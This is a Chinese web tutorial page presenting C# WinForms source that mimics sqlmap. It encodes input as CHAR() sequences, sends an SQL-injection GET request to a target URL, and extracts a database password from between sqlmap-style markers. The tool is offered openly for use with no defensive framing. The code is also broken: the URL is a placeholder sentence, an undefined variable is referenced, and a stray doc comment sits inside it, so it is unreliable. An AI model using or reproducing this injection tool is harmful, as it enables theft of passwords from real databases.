返回首頁
當前位置: 主頁 > 網絡編程 > .Net實例教程 >

用c#模擬sqlmap查詢源碼。

時間:2020-01-04 18:47來源:知行網www.wzliqi.com 編輯:麥田守望者

using CsharpHttpHelper; //調用第三方庫

using System.Threading; // 引用線程

using CsharpHttpHelper.Enum;

 

namespace WindowsFormsApp1444

{

    public partial class Form1 : Form

    {

        public Form1()

        {

            InitializeComponent();

            CheckForIllegalCrossThreadCalls = false; // 防卡死

        }

 

        private void button4_Click(object sender, EventArgs e)

        {

            Thread obj = new Thread(new ThreadStart(delegate

            {

                HttpHelper http = new HttpHelper();

                string str4 = textBox1.Text.Trim();

                string upwd;

                TextBox text = new TextBox();

                byte[] array = System.Text.Encoding.ASCII.GetBytes(str4);

 

                string ASCIIstr4 = null;

                for (int i = 0; i < array.Length; i++)

                {

                    int asciicode = (int)(array[i]);

                    ASCIIstr4 = Convert.ToString(asciicode);

                    text.AppendText("CHAR%28" + ASCIIstr4 + "%29%2B");

                }

                string poc4 = text.Text;

                //textBox2.AppendText(poc3);//測試轉碼是否成功

                string url4 = "url,可以通過抓包抓到查詢的那個url。然后拼接" + poc +" ";

                url4 = url4.Replace("%29%2B%29", "%29%29");

                //textBox2.AppendText(url);

                HttpItem item = new HttpItem()

 

                {

                    URL = url4,//URL     必需項

                    Method = "GET",//URL     可選項 默認為Get

                    Timeout = 100000,//連接超時時間     可選項默認為100000

                    ReadWriteTimeout = 30000,//寫入Post數據超時時間     可選項默認為30000

                    IsToLower = false,//得到的HTML代碼是否轉成小寫     可選項默認轉小寫

                    Cookie = "",//字符串Cookie     可選項

                    UserAgent = "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0",//用戶的瀏覽器類型,版本,操作系統     可選項有默認值

                    Accept = "text/html, application/xhtml+xml, */*",//    可選項有默認值

                    ContentType = "text/html",//返回類型    可選項有默認值

                    Referer = "",//來源URL     可選項

                    Allowautoredirect = false,//是否根據301跳轉     可選項

                    AutoRedirectCookie = false,//是否自動處理Cookie     可選項

                                               //CerPath = "d:\123.cer",//證書絕對路徑     可選項不需要證書時可以不寫這個參數

                                               //Connectionlimit = 1024,//最大連接數     可選項 默認為1024

                    Postdata = "",//Post數據     可選項GET時不需要寫

                                  //ProxyIp = "192.168.1.105:2020",//代理服務器ID     可選項 不需要代理 時可以不設置這三個參數

                                  //ProxyPwd = "123456",//代理服務器密碼     可選項

                                  //ProxyUserName = "administrator",//代理服務器賬戶名     可選項

                    ResultType = ResultType.String,//返回數據類型,是Byte還是String

                };

                HttpResult result = http.GetHtml(item);

                string html = result.Html;

                string cookie = result.Cookie;

                //qkkbq7995qkpbq

                upwd = HttpHelper.GetBetweenHtml(result.Html, "qbqqq", "qqjjq");

                textBox2.AppendText("密碼為:" + upwd + "\r\n");

 

 

                /// <summary>

                /// 字節數組生成圖片

                /// </summary>

                /// <param name="Bytes">字節數組</param>

                /// <returns>圖片</returns>

            })); // 事件委托,防止卡死

            obj.Start(); // 啟動線程

        }

------分隔線----------------------------
標簽(Tag):
------分隔線----------------------------
推薦內容
猜你感興趣
久久99久久99精品免视看